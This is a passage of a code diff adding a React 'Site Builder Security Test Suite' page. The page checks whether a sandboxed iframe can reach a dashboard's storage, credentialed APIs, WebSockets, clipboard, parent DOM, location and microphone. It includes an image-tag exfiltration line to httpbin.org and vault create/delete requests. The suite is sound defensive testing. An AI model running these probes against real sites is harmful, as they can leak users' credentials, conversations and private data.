+
i++;
|
|
322
|
+
|
|
323
|
+
// Test 6: Parent postMessage
|
|
324
|
+
try {
|
|
325
|
+
window.parent.postMessage({ type: "security-test", payload: "probe" }, "*");
|
|
326
|
+
updateResult(i, { status: "blocked", detail: "postMessage sent (no way to confirm receipt — sandbox blocks same-origin reply)" });
|
|
327
|
+
} catch (err) {
|
|
328
|
+
updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
|
|
329
|
+
}
|
|
330
|
+
i++;
|
|
331
|
+
|
|
332
|
+
// Test 7: localStorage / sessionStorage
|
|
333
|
+
try {
|
|
334
|
+
const keys = Object.keys(localStorage);
|
|
335
|
+
const dashboardKeys = keys.filter(
|
|
336
|
+
(k) => k.startsWith("jarvis") || k === "conversations" || k === "auth" || k === "token"
|
|
337
|
+
);
|
|
338
|
+
if (dashboardKeys.length > 0) {
|
|
339
|
+
updateResult(i, { status: "vulnerable", detail: `Dashboard storage leaked: ${dashboardKeys.slice(0, 5).join(", ")}` });
|
|
340
|
+
} else {
|
|
341
|
+
updateResult(i, {
|
|
342
|
+
status: "blocked",
|
|
343
|
+
detail: keys.length > 0
|
|
344
|
+
? `Storage accessible but only own keys (${keys.join(", ")}) — not dashboard data`
|
|
345
|
+
: "localStorage empty or inaccessible",
|
|
346
|
+
});
|
|
347
|
+
}
|
|
348
|
+
} catch (err) {
|
|
349
|
+
updateResult(i, { status: "blocked", detail: `Storage blocked: ${(err as Error).message}` });
|
|
350
|
+
}
|
|
351
|
+
i++;
|
|
352
|
+
|
|
353
|
+
// Test 8: Fetch with credentials
|
|
354
|
+
try {
|
|
355
|
+
const resp = await fetch("/api/vault/entities", { credentials: "include", signal: AbortSignal.timeout(3000) });
|
|
356
|
+
if (resp.ok) {
|
|
357
|
+
const data = await resp.text();
|
|
358
|
+
updateResult(i, { status: "vulnerable", detail: `Got data with cookies: ${data.slice(0, 200)}` });
|
|
359
|
+
} else {
|
|
360
|
+
updateResult(i, { status: "blocked", detail: `Returned ${resp.status}` });
|
|
361
|
+
}
|
|
362
|
+
} catch (err) {
|
|
363
|
+
updateResult(i, { status: "blocked", detail: `fetch() threw: ${(err as Error).message}` });
|
|
364
|
+
}
|
|
365
|
+
i++;
|
|
366
|
+
|
|
367
|
+
// Test 9: WebSocket to Jarvis /ws
|
|
368
|
+
try {
|
|
369
|
+
const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
|
|
370
|
+
const wsUrl = `${protocol}//${window.location.host}/ws`;
|
|
371
|
+
const ws = new WebSocket(wsUrl);
|
|
372
|
+
await new Promise<void>((resolve) => {
|
|
373
|
+
const timeout = setTimeout(() => { ws.close(); updateResult(9, { status: "blocked", detail: "Connection timed out (3s)" }); resolve(); }, 3000);
|
|
374
|
+
ws.onopen = () => { clearTimeout(timeout); ws.close(); updateResult(9, { status: "vulnerable", detail: "WebSocket connected to /ws!" }); resolve(); };
|
|
375
|
+
ws.onerror = () => { clearTimeout(timeout); updateResult(9, { status: "blocked", detail: "WebSocket connection refused" }); resolve(); };
|
|
376
|
+
});
|
|
377
|
+
} catch (err) {
|
|
378
|
+
updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
|
|
379
|
+
}
|
|
380
|
+
i++;
|
|
381
|
+
|
|
382
|
+
// Test 10: Clipboard Read
|
|
383
|
+
try {
|
|
384
|
+
const text = await navigator.clipboard.readText();
|
|
385
|
+
updateResult(i, { status: "vulnerable", detail: `Clipboard content: "${text.slice(0, 50)}"` });
|
|
386
|
+
} catch (err) {
|
|
387
|
+
updateResult(i, { status: "blocked", detail: `Clipboard denied: ${(err as Error).message}` });
|
|
388
|
+
}
|
|
389
|
+
i++;
|
|
390
|
+
|
|
391
|
+
// Test 11: Form Submission to API
|
|
392
|
+
try {
|
|
393
|
+
const testIframe = document.createElement("iframe");
|
|
394
|
+
testIframe.name = "__sec_form_target";
|
|
395
|
+
testIframe.style.display = "none";
|
|
396
|
+
document.body.appendChild(testIframe);
|
|
397
|
+
const form = document.createElement("form");
|
|
398
|
+
form.action = "/api/health";
|
|
399
|
+
form.method = "GET";
|
|
400
|
+
form.target = "__sec_form_target";
|
|
401
|
+
document.body.appendChild(form);
|
|
402
|
+
form.submit();
|
|
403
|
+
await new Promise((r) => setTimeout(r, 2000));
|
|
404
|
+
try {
|
|
405
|
+
const iframeDoc = testIframe.contentDocument;
|
|
406
|
+
const text = iframeDoc?.body?.textContent || "";
|
|
407
|
+
if (text && text.includes("status")) {
|
|
408
|
+
updateResult(i, { status: "vulnerable", detail: `Form loaded API response: ${text.slice(0, 100)}` });
|
|
409
|
+
} else {
|
|
410
|
+
updateResult(i, { status: "blocked", detail: "Form submitted but response not readable" });
|
|
411
|
+
}
|
|
412
|
+
} catch {
|
|
413
|
+
updateResult(i, { status: "blocked", detail: "Cannot read form target iframe (cross-origin)" });
|
|
414
|
+
}
|
|
415
|
+
document.body.removeChild(form);
|
|
416
|
+
document.body.removeChild(testIframe);
|
|
417
|
+
} catch (err) {
|
|
418
|
+
updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
|
|
419
|
+
}
|
|
420
|
+
i++;
|
|
421
|
+
|
|
422
|
+
// Test 12: Service Worker Registration
|
|
423
|
+
try {
|
|
424
|
+
if ('serviceWorker' in navigator) {
|
|
425
|
+
const reg = await navigator.serviceWorker.register('/sw.js');
|
|
426
|
+
reg.unregister();
|
|
427
|
+
updateResult(i, { status: "vulnerable", detail: "Service Worker registered successfully!" });
|
|
428
|
+
} else {
|
|
429
|
+
updateResult(i, { status: "blocked", detail: "Service Worker API not available" });
|
|
430
|
+
}
|
|
431
|
+
} catch (err) {
|
|
432
|
+
updateResult(i, { status: "blocked", detail: `SW blocked: ${(err as Error).message}` });
|
|
433
|
+
}
|
|
434
|
+
i++;
|
|
435
|
+
|
|
436
|
+
// Test 13: IndexedDB Access
|
|
437
|
+
try {
|
|
438
|
+
const dbs = await indexedDB.databases();
|
|
439
|
+
const names = dbs.map(d => d.name).filter(Boolean);
|
|
440
|
+
const dashboardDbs = names.filter(n => n!.includes("jarvis") || n!.includes("vault"));
|
|
441
|
+
if (dashboardDbs.length > 0) {
|
|
442
|
+
updateResult(i, { status: "vulnerable", detail: `Dashboard DBs found: ${dashboardDbs.join(", ")}` });
|
|
443
|
+
} else {
|
|
444
|
+
updateResult(i, { status: "blocked", detail: names.length > 0 ? `Only own DBs: ${names.join(", ")}` : "No IndexedDB databases accessible" });
|
|
445
|
+
}
|
|
446
|
+
} catch (err) {
|
|
447
|
+
updateResult(i, { status: "blocked", detail: `IndexedDB blocked: ${(err as Error).message}` });
|
|
448
|
+
}
|
|
449
|
+
i++;
|
|
450
|
+
|
|
451
|
+
// Test 14: Parent DOM Access
|
|
452
|
+
try {
|
|
453
|
+
const parentDoc = window.parent.document;
|
|
454
|
+
const title = parentDoc.title;
|
|
455
|
+
updateResult(i, { status: "vulnerable", detail: `Parent document title: "${title}"` });
|
|
456
|
+
} catch (err) {
|
|
457
|
+
updateResult(i, { status: "blocked", detail: `Cross-origin block: ${(err as Error).message}` });
|
|
458
|
+
}
|
|
459
|
+
i++;
|
|
460
|
+
|
|
461
|
+
// Test 15: Fetch Conversation History
|
|
462
|
+
try {
|
|
463
|
+
const resp = await fetch("/api/conversations", { signal: AbortSignal.timeout(3000) });
|
|
464
|
+
if (resp.ok) {
|
|
465
|
+
const data = await resp.text();
|
|
466
|
+
updateResult(i, { status: "vulnerable", detail: `Got conversations: ${data.slice(0, 200)}` });
|
|
467
|
+
} else {
|
|
468
|
+
updateResult(i, { status: "blocked", detail: `Returned ${resp.status}` });
|
|
469
|
+
}
|
|
470
|
+
} catch (err) {
|
|
471
|
+
updateResult(i, { status: "blocked", detail: `fetch() threw: ${(err as Error).message}` });
|
|
472
|
+
}
|
|
473
|
+
i++;
|
|
474
|
+
|
|
475
|
+
// Test 16: Mutate Vault — Create Entity
|
|
476
|
+
try {
|
|
477
|
+
const resp = await fetch("/api/vault/entities", {
|
|
478
|
+
method: "POST",
|
|
479
|
+
headers: { "Content-Type": "application/json" },
|
|
480
|
+
body: JSON.stringify({ name: "__sec_test_entity", type: "person" }),
|
|
481
|
+
signal: AbortSignal.timeout(3000),
|
|
482
|
+
});
|
|
483
|
+
if (resp.ok || resp.status === 201) {
|
|
484
|
+
updateResult(i, { status: "vulnerable", detail: `Entity created! ${(await resp.text()).slice(0, 100)}` });
|
|
485
|
+
} else {
|
|
486
|
+
updateResult(i, { status: "blocked", detail: `Returned ${resp.status}` });
|
|
487
|
+
}
|
|
488
|
+
} catch (err) {
|
|
489
|
+
updateResult(i, { status: "blocked", detail: `fetch() threw: ${(err as Error).message}` });
|
|
490
|
+
}
|
|
491
|
+
i++;
|
|
492
|
+
|
|
493
|
+
// Test 17: Delete Content via API
|
|
494
|
+
try {
|
|
495
|
+
const resp = await fetch("/api/content/nonexistent-id-12345", {
|
|
496
|
+
method: "DELETE",
|
|
497
|
+
signal: AbortSignal.timeout(3000),
|
|
498
|
+
});
|
|
499
|
+
// On the direct localhost path, 404 comes from the dev server (no such route)
|
|
500
|
+
// not from Jarvis. Only flag as vulnerable if the response looks like a Jarvis
|
|
501
|
+
// API response (JSON with "error" or "ok" keys).
|
|
502
|
+
const text = await resp.text();
|
|
503
|
+
const isJarvisResponse = text.includes('"error"') || text.includes('"ok"');
|
|
504
|
+
if (resp.ok && isJarvisResponse) {
|
|
505
|
+
updateResult(i, { status: "vulnerable", detail: `DELETE succeeded: ${text.slice(0, 100)}` });
|
|
506
|
+
} else if (resp.status === 404 && isJarvisResponse) {
|
|
507
|
+
updateResult(i, { status: "vulnerable", detail: `Jarvis API reachable (404): ${text.slice(0, 100)}` });
|
|
508
|
+
} else {
|
|
509
|
+
updateResult(i, { status: "blocked", detail: `Returned ${resp.status} (not a Jarvis API response)` });
|
|
510
|
+
}
|
|
511
|
+
} catch (err) {
|
|
512
|
+
updateResult(i, { status: "blocked", detail: `fetch() threw: ${(err as Error).message}` });
|
|
513
|
+
}
|
|
514
|
+
i++;
|
|
515
|
+
|
|
516
|
+
// Test 18: Exfiltrate via Image Tag
|
|
517
|
+
try {
|
|
518
|
+
const img = document.createElement("img");
|
|
519
|
+
const exfilUrl = "https://httpbin.org/get?stolen=test-data-from-iframe";
|
|
520
|
+
img.src = exfilUrl;
|
|
521
|
+
document.body.appendChild(img);
|
|
522
|
+
await new Promise((r) => setTimeout(r, 1000));
|
|
523
|
+
// Images always load (even sandboxed) — the question is whether we had data to steal
|
|
524
|
+
updateResult(i, { status: "blocked", detail: "Image tag created (network request sent but no stolen data — API access was blocked)" });
|
|
525
|
+
document.body.removeChild(img);
|
|
526
|
+
} catch (err) {
|
|
527
|
+
updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
|
|
528
|
+
}
|
|
529
|
+
i++;
|
|
530
|
+
|
|
531
|
+
// Test 19: WebSocket to Dashboard Port directly
|
|
532
|
+
try {
|
|
533
|
+
const ws = new WebSocket("ws://localhost:3142/ws");
|
|
534
|
+
await new Promise<void>((resolve) => {
|
|
535
|
+
const timeout = setTimeout(() => { ws.close(); updateResult(19, { status: "blocked", detail: "Connection timed out (3s)" }); resolve(); }, 3000);
|
|
536
|
+
ws.onopen = () => { clearTimeout(timeout); ws.close(); updateResult(19, { status: "vulnerable", detail: "Connected to ws://localhost:3142/ws!" }); resolve(); };
|
|
537
|
+
ws.onerror = () => { clearTimeout(timeout); updateResult(19, { status: "blocked", detail: "WebSocket to :3142 refused" }); resolve(); };
|
|
538
|
+
});
|
|
539
|
+
} catch (err) {
|
|
540
|
+
updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
|
|
541
|
+
}
|
|
542
|
+
i++;
|
|
543
|
+
|
|
544
|
+
// Test 20: Fetch Site Builder Files
|
|
545
|
+
try {
|
|
546
|
+
const resp = await fetch("/api/sites/projects", { signal: AbortSignal.timeout(3000) });
|
|
547
|
+
if (resp.ok) {
|
|
548
|
+
const data = await resp.text();
|
|
549
|
+
updateResult(i, { status: "vulnerable", detail: `Projects listed: ${data.slice(0, 200)}` });
|
|
550
|
+
} else {
|
|
551
|
+
updateResult(i, { status: "blocked", detail: `Returned ${resp.status}` });
|
|
552
|
+
}
|
|
553
|
+
} catch (err) {
|
|
554
|
+
updateResult(i, { status: "blocked", detail: `fetch() threw: ${(err as Error).message}` });
|
|
555
|
+
}
|
|
556
|
+
i++;
|
|
557
|
+
|
|
558
|
+
// Test 21: History / Location Sniffing
|
|
559
|
+
try {
|
|
560
|
+
const len = window.top?.history?.length;
|
|
561
|
+
const topHref = window.top?.location?.href;
|
|
562
|
+
if (topHref) {
|
|
563
|
+
updateResult(i, { status: "vulnerable", detail: `Top href: ${topHref.slice(0, 80)}, history: ${len}` });
|
|
564
|
+
} else if (len !== undefined) {
|
|
565
|
+
updateResult(i, { status: "vulnerable", detail: `History length: ${len} (top href blocked)` });
|
|
566
|
+
} else {
|
|
567
|
+
updateResult(i, { status: "blocked", detail: "Cannot access top frame history or location" });
|
|
568
|
+
}
|
|
569
|
+
} catch (err) {
|
|
570
|
+
updateResult(i, { status: "blocked", detail: `Cross-origin block: ${(err as Error).message}` });
|
|
571
|
+
}
|
|
572
|
+
i++;
|
|
573
|
+
|
|
574
|
+
// Test 22: SharedWorker Cross-Tab
|
|
575
|
+
try {
|
|
576
|
+
const worker = new SharedWorker(
|
|
577
|
+
URL.createObjectURL(new Blob([`onconnect = (e) => { e.ports[0].postMessage("alive"); }`], { type: "text/javascript" }))
|
|
578
|
+
);
|
|
579
|
+
worker.port.start();
|
|
580
|
+
await new Promise<void>((resolve) => {
|
|
581
|
+
const timeout = setTimeout(() => { updateResult(22, { status: "blocked", detail: "SharedWorker created but no cross-tab data" }); resolve(); }, 2000);
|
|
582
|
+
worker.port.onmessage = () => { clearTimeout(timeout); updateResult(22, { status: "blocked", detail: "SharedWorker works but isolated to this origin" }); resolve(); };
|
|
583
|
+
worker.onerror = () => { clearTimeout(timeout); updateResult(22, { status: "blocked", detail: "SharedWorker creation failed" }); resolve(); };
|
|
584
|
+
});
|
|
585
|
+
} catch (err) {
|
|
586
|
+
updateResult(i, { status: "blocked", detail: `SharedWorker blocked: ${(err as Error).message}` });
|
|
587
|
+
}
|
|
588
|
+
i++;
|
|
589
|
+
|
|
590
|
+
// Test 23: BroadcastChannel Eavesdrop
|
|
591
|
+
try {
|
|
592
|
+
const bc = new BroadcastChannel("jarvis");
|
|
593
|
+
let received = false;
|
|
594
|
+
bc.onmessage = () => { received = true; };
|
|
595
|
+
// Also try sending to see if dashboard picks it up
|
|
596
|
+
bc.postMessage({ type: "probe", from: "security-test" });
|
|
597
|
+
await new Promise((r) => setTimeout(r, 2000));
|
|
598
|
+
bc.close();
|
|
599
|
+
if (received) {
|
|
600
|
+
updateResult(i, { status: "vulnerable", detail: "Received message on 'jarvis' BroadcastChannel!" });
|
|
601
|
+
} else {
|
|
602
|
+
updateResult(i, { status: "blocked", detail: "BroadcastChannel open but no messages (different origin or not used)" });
|
|
603
|
+
}
|
|
604
|
+
} catch (err) {
|
|
605
|
+
updateResult(i, { status: "blocked", detail: `BroadcastChannel blocked: ${(err as Error).message}` });
|
|
606
|
+
}
|
|
607
|
+
i++;
|
|
608
|
+
|
|
609
|
+
// Test 24: Credential Prompt Phishing
|
|
610
|
+
try {
|
|
611
|
+
// Don't actually show — just test if the API is available
|
|
612
|
+
const canPrompt = typeof window.prompt === "function";
|
|
613
|
+
const canConfirm = typeof window.confirm === "function";
|
|
614
|
+
if (canPrompt || canConfirm) {
|
|
615
|
+
updateResult(i, { status: "blocked", detail: `prompt/confirm available as functions but sandbox may block display (prompt=${canPrompt}, confirm=${canConfirm})` });
|
|
616
|
+
} else {
|
|
617
|
+
updateResult(i, { status: "blocked", detail: "prompt/confirm not available" });
|
|
618
|
+
}
|
|
619
|
+
} catch (err) {
|
|
620
|
+
updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
|
|
621
|
+
}
|
|
622
|
+
i++;
|
|
623
|
+
|
|
624
|
+
// Test 25: Download Trigger
|
|
625
|
+
try {
|
|
626
|
+
const a = document.createElement("a");
|
|
627
|
+
a.href = "data:text/plain,malicious-content";
|
|
628
|
+
a.download = "pwned.txt";
|
|
629
|
+
a.style.display = "none";
|
|
630
|
+
document.body.appendChild(a);
|
|
631
|
+
a.click();
|
|
632
|
+
document.body.removeChild(a);
|
|
633
|
+
// Sandboxed iframes without allow-downloads block this
|
|
634
|
+
updateResult(i, { status: "blocked", detail: "Download link clicked (sandbox blocks allow-downloads by default)" });
|
|
635
|
+
} catch (err) {
|
|
636
|
+
updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
|
|
637
|
+
}
|
|
638
|
+
i++;
|
|
639
|
+
|
|
640
|
+
// Test 26: Geolocation Access
|
|
641
|
+
try {
|
|
642
|
+
await new Promise<void>((resolve) => {
|
|
643
|
+
const timeout = setTimeout(() => { updateResult(26, { status: "blocked", detail: "Geolocation timed out (permission denied or sandbox)" }); resolve(); }, 3000);
|
|
644
|
+
navigator.geolocation.getCurrentPosition(
|
|
645
|
+
(pos) => { clearTimeout(timeout); updateResult(26, { status: "vulnerable", detail: `Location: ${pos.coords.latitude}, ${pos.coords.longitude}` }); resolve(); },
|
|
646
|
+
(err) => { clearTimeout(timeout); updateResult(26, { status: "blocked", detail: `Geolocation denied: ${err.message}` }); resolve(); },
|
|
647
|
+
{ timeout: 2500 }
|
|
648
|
+
);
|
|
649
|
+
});
|
|
650
|
+
} catch (err) {
|
|
651
|
+
updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
|
|
652
|
+
}
|
|
653
|
+
i++;
|
|
654
|
+
|
|
655
|
+
// Test 27: Camera/Mic Access
|
|
656
|
+
try {
|
|
657
|
+
const stream = await navigator.mediaDevices.getUserMedia({ audio: true });
|
|
658
|
+
stream.getTracks().forEach(t => t.stop());
|
|
659
|
+
updateResult(i, { status: "vulnerable", detail: "Microphone access granted!" });
|
|
660
|
+
} catch (err) {
|
|
661
|
+
updateResult(i, { status: "blocked", detail: `Media denied: ${(err as Error).message}` });
|
|
662
|
+
}
|
|
663
|
+
i++;
|
|
664
|
+
|
|
665
|
+
setRunning(false);
|
|
666
|
+
};
|
|
667
|
+
|
|
668
|
+
useEffect(() => {
|
|
669
|
+
runTests();
|
|
670
|
+
}, []);
|
|
671
|
+
|
|
672
|
+
const blockedCount = results.filter((r) => r.status === "blocked").length;
|
|
673
|
+
const vulnCount = results.filter((r) => r.status === "vulnerable").length;
|
|
674
|
+
const pendingCount = results.filter((r) => r.status === "pending").length;
|
|
675
|
+
|
|
676
|
+
return (
|
|
677
|
+
<div style={{ fontFamily: "system-ui, sans-serif", maxWidth: 960, margin: "0 auto", padding: 20 }}>
|
|
678
|
+
<h1 style={{ borderBottom: "2px solid #333", paddingBottom: 8 }}>
|
|
679
|
+
Site Builder Security Test Suite
|
|
680
|
+
</h1>
|
|
681
|
+
<p style={{ color: "#666", fontSize: 14 }}>
|
|
682
|
+
This page attempts every attack vector from the proxy security audit.
|
|
683
|
+
<br />
|
|
684
|
+
Open this project in the Jarvis Sites page to test both <strong>proxy mode</strong> and{" "}
|
|
685
|
+
<strong>direct localhost</strong> mode.
|
|
686
|
+
</p>
|
|
687
|
+
|
|
688
|
+
<div style={{ display: "flex", gap: 16, margin: "16px 0" }}>
|
|
689
|
+
<Stat label="BLOCKED" value={blockedCount} color="#22c55e" />
|
|
690
|
+
<Stat label="VULNERABLE" value={vulnCount} color="#ef4444" />
|
|
691
|
+
<Stat label="PENDING" value={pendingCount} color="#a3a3a3" />
|
|
692
|
+
<Stat label="TOTAL" value={results.length} color="#555" />
|
|
693
|
+
</div>
|
|
694
|
+
|
|
695
|
+
{vulnCount === 0 && blockedCount > 0 && (
|
|
696
|
+
<div style={{ background: "#f0fdf4", border: "1px solid #86efac", borderRadius: 8, padding: 16, marginBottom: 16 }}>
|
|
697
|
+
All {blockedCount} attack vectors blocked. Sandbox and security hardening are effective.
|
|
698
|
+
</div>
|
|
699
|
+
)}
|
|
700
|
+
|
|
701
|
+
{vulnCount > 0 && (
|
|
702
|
+
<div style={{ background: "#fef2f2", border: "1px solid #fca5a5", borderRadius: 8, padding: 16, marginBottom: 16 }}>
|
|
703
|
+
{vulnCount} attack(s) succeeded! Security fixes may not be applied or the page is not sandboxed.
|
|
704
|
+
</div>
|
|
705
|
+
)}
|
|
706
|
+
|
|
707
|
+
<button
|
|
708
|
+
onClick={runTests}
|
|
709
|
+
disabled={running}
|
|
710
|
+
style={{
|
|
711
|
+
background: running ? "#a3a3a3" : "#2563eb",
|
|
712
|
+
color: "#fff",
|
|
713
|
+
border: "none",
|
|
714
|
+
borderRadius: 6,
|
|
715
|
+
padding: "8px 20px",
|
|
716
|
+
cursor: running ? "default" : "pointer",
|
|
717
|
+
fontSize: 14,
|
|
718
|
+
marginBottom: 16,
|
|
719
|
+
}}
|
|
720
|
+
>
|
|
721
|
+
{running ? "Running..." : "Re-run All Tests"}
|
|
722
|
+
</button>
|
|
723
|
+
|
|
724
|
+
<table style={{ width: "100%", borderCollapse: "collapse", fontSize: 13 }}>
|
|
725
|
+
<thead>
|
|
726
|
+
<tr style={{ borderBottom: "2px solid #e5e5e5", textAlign: "left" }}>
|
|
727
|
+
<th style={{ padding: "8px 4px", width: 80 }}>Status</th>
|
|
728
|
+
<th style={{ padding: "8px 4px" }}>Test</th>
|
|
729
|
+
<th style={{ padding: "8px 4px", width: 180 }}>Audit Ref</th>
|
|
730
|
+
<th style={{ padding: "8px 4px" }}>Detail</th>
|
|
731
|
+
</tr>
|
|
732
|
+
</thead>
|
|
733
|
+
<tbody>
|
|
734
|
+
{results.map((r, idx) => (
|
|
735
|
+
<tr key={idx} style={{ borderBottom: "1px solid #f0f0f0", background: r.status === "vulnerable" ? "#fef2f2" : undefined }}>
|
|
736
|
+
<td style={{ padding: "8px 4px" }}>
|
|
737
|
+
<StatusBadge status={r.status} />
|
|
738
|
+
</td>
|
|
739
|
+
<td style={{ padding: "8px 4px" }}>
|
|
740
|
+
<strong>{r.name}</strong>
|
|
741
|
+
<div style={{ color: "#888", fontSize: 11, marginTop: 2 }}>{r.description}</div>
|
|
742
|
+
</td>
|
|
743
|
+
<td style={{ padding: "8px 4px", color: "#666", fontSize: 11 }}>{r.auditRef}</td>
|
|
744
|
+
<td style={{ padding: "8px 4px", fontSize: 11, fontFamily: "monospace", color: "#555", maxWidth: 300, wordBreak: "break-word" }}>
|
|
745
|
+
{r.detail}
|
|
746
|
+
</td>
|
|
747
|
+
</tr>
|
|
748
|
+
))}
|
|
749
|
+
</tbody>
|
|
750
|
+
</table>
|
|
751
|
+
</div>
|
|
752
|
+
);
|
|
753
|
+
}
|
|
754
|
+
|
|
755
|
+
function Stat({ label, value, color }: { label: string; value: number; color: string }) {
|
|
756
|
+
return (
|
|
757
|
+
<div style={{ background: "#fafafa", border: "1px solid #e5e5e5", borderRadius: 8, padding: "12px 20px", textAlign: "center", minWidth: 90 }}>
|
|
758
|
+
<div style={{ fontSize: 28, fontWeight: 700, color }}>{value}</div>
|
|
759
|
+
<div style={{ fontSize: 11, color: "#888", textTransform: "uppercase", letterSpacing: 1 }}>{label}</div>
|
|
760
|
+
</div>
|
|
761
|
+
);
|
|
762
|
+
}
|
|
763
|
+
|
|
764
|
+
function StatusBadge({ status }: { status: TestResult["status"] }) {
|
|
765
|
+
const styles: Record<string, { bg: string; fg: string; label: string }> = {
|
|
766
|
+
pending: { bg: "#f5f5f5", fg: "#a3a3a3", label: "PENDING" },
|
|
767
|
+
blocked: { bg: "#dcfce7", fg: "#16a34a", label: "BLOCKED" },
|
|
768
|
+
vulnerable: { bg: "#fee2e2", fg: "#dc2626", label: "VULN" },
|
|
769
|
+
error: { bg: "#fef3c7", fg: "#d97706", label: "ERROR" },
|
|
770
|
+
};
|
|
771
|
+
const s = styles[status]!;
|
|
772
|
+
return (
|
|
773
|
+
<span style={{ display: "inline-block", background: s.bg, color: s.fg, borderRadius: 4, padding: "2px 8px", fontSize: 11, fontWeight: 700, letterSpacing: 0.5 }}>
|
|
774
|
+
{s.label}
|
|
775
|
+
</span>
|
|
776
|
+
);
|
|
777
|
+
}
|
|
778
|
+
|
|
779
|
+
const root = createRoot(document.getElementById("root")!);
|
|
780
|
+
root.render(<SecurityTests />);
|